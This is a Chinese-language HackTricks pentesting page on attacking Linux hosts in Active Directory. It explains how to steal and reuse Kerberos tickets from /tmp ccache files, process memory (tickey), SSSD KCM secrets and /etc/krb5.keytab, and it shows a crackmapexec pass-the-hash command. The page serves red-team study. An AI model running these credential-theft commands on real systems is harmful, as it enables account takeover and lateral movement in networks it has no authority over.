Linux Active Directory

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

在Active Directory环境中也可能存在Linux机器。

在AD中的Linux机器可能会在文件中存储不同的CCACHE票证。这些票证可以像其他Kerberos票证一样被使用和滥用。要读取这些票证,您需要成为票证的用户所有者或者是机器内的root

枚举

从Linux进行AD枚举

如果您在Linux中(或Windows的bash中)可以访问AD,您可以尝试使用https://github.com/lefayjey/linWinPwn来枚举AD。

您还可以查看以下页面,了解从Linux枚举AD的其他方法

page389, 636, 3268, 3269 - Pentesting LDAP

FreeIPA

FreeIPA是Microsoft Windows Active Directory的开源替代方案,主要用于Unix环境。它将完整的LDAP目录与MIT Kerberos密钥分发中心相结合,用于类似Active Directory的管理。利用Dogtag 证书系统进行CA和RA证书管理,支持多因素身份验证,包括智能卡。SSSD用于Unix身份验证过程。在以下链接中了解更多信息:

pageFreeIPA Pentesting

操作票证

传递票证

在这个页面,您将找到Linux主机中可能找到Kerberos票证的不同位置,在下一个页面中,您可以了解如何将这些CCache票证格式转换为Kirbi(您需要在Windows中使用的格式),以及如何执行PTT攻击:

pagePass the Ticket

从/tmp重用CCACHE票证

CCACHE文件是用于存储Kerberos凭据的二进制格式,通常以600权限存储在/tmp中。这些文件可以通过其**名称格式krb5cc_%{uid}进行识别,与用户的UID相关联。对于身份验证票证验证,应将环境变量KRB5CCNAME**设置为所需票证文件的路径,从而使其可以重用。

使用env | grep KRB5CCNAME列出用于身份验证的当前票证。该格式是可移植的,可以通过使用export KRB5CCNAME=/tmp/ticket.ccache设置环境变量来重用票证。Kerberos票证名称格式为krb5cc_%{uid},其中uid是用户UID。

# Find tickets
ls /tmp/ | grep krb5cc
krb5cc_1000

# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000

从密钥环中重用CCACHE票证

存储在进程内存中的Kerberos票证可以被提取,特别是当机器的ptrace保护被禁用时(/proc/sys/kernel/yama/ptrace_scope)。用于此目的的一个有用工具可在https://github.com/TarlogicSecurity/tickey找到,它通过注入到会话中并将票证转储到/tmp来简化提取过程。

要配置和使用此工具,请按照以下步骤进行:

git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i

从SSSD KCM中重用CCACHE票证

SSSD在路径/var/lib/sss/secrets/secrets.ldb中维护了一个数据库的副本。相应的密钥存储在路径/var/lib/sss/secrets/.secrets.mkey中作为一个隐藏文件。默认情况下,只有具有root权限的用户才能读取该密钥。

通过使用SSSDKCMExtractor工具,并提供--database和--key参数,可以解析数据库并解密这些秘密

git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey

凭证缓存Kerberos blob可以转换为可用的Kerberos CCache文件,然后可以传递给Mimikatz/Rubeus。

从keytab重用CCACHE票证

git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab

从 /etc/krb5.keytab 提取账户

/etc/krb5.keytab 文件中存储着服务账户密钥,对于以 root 权限运行的服务至关重要。这些密钥类似于服务的密码,需要严格保密。

要检查 keytab 文件的内容,可以使用 klist。该工具旨在显示关键细节,包括用户认证的 NT Hash,特别是当密钥类型被识别为 23 时。

klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash

对于Linux用户,**KeyTabExtract**提供了提取RC4 HMAC哈希的功能,可以用于NTLM哈希重用。

python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability

在 macOS 上,bifrost 作为一个用于分析 keytab 文件的工具。

./bifrost -action dump -source keytab -path /path/to/your/file

利用提取的帐户和哈希信息,可以使用类似 crackmapexec 的工具建立与服务器的连接。

crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"

参考资料

从零开始学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!

最后更新于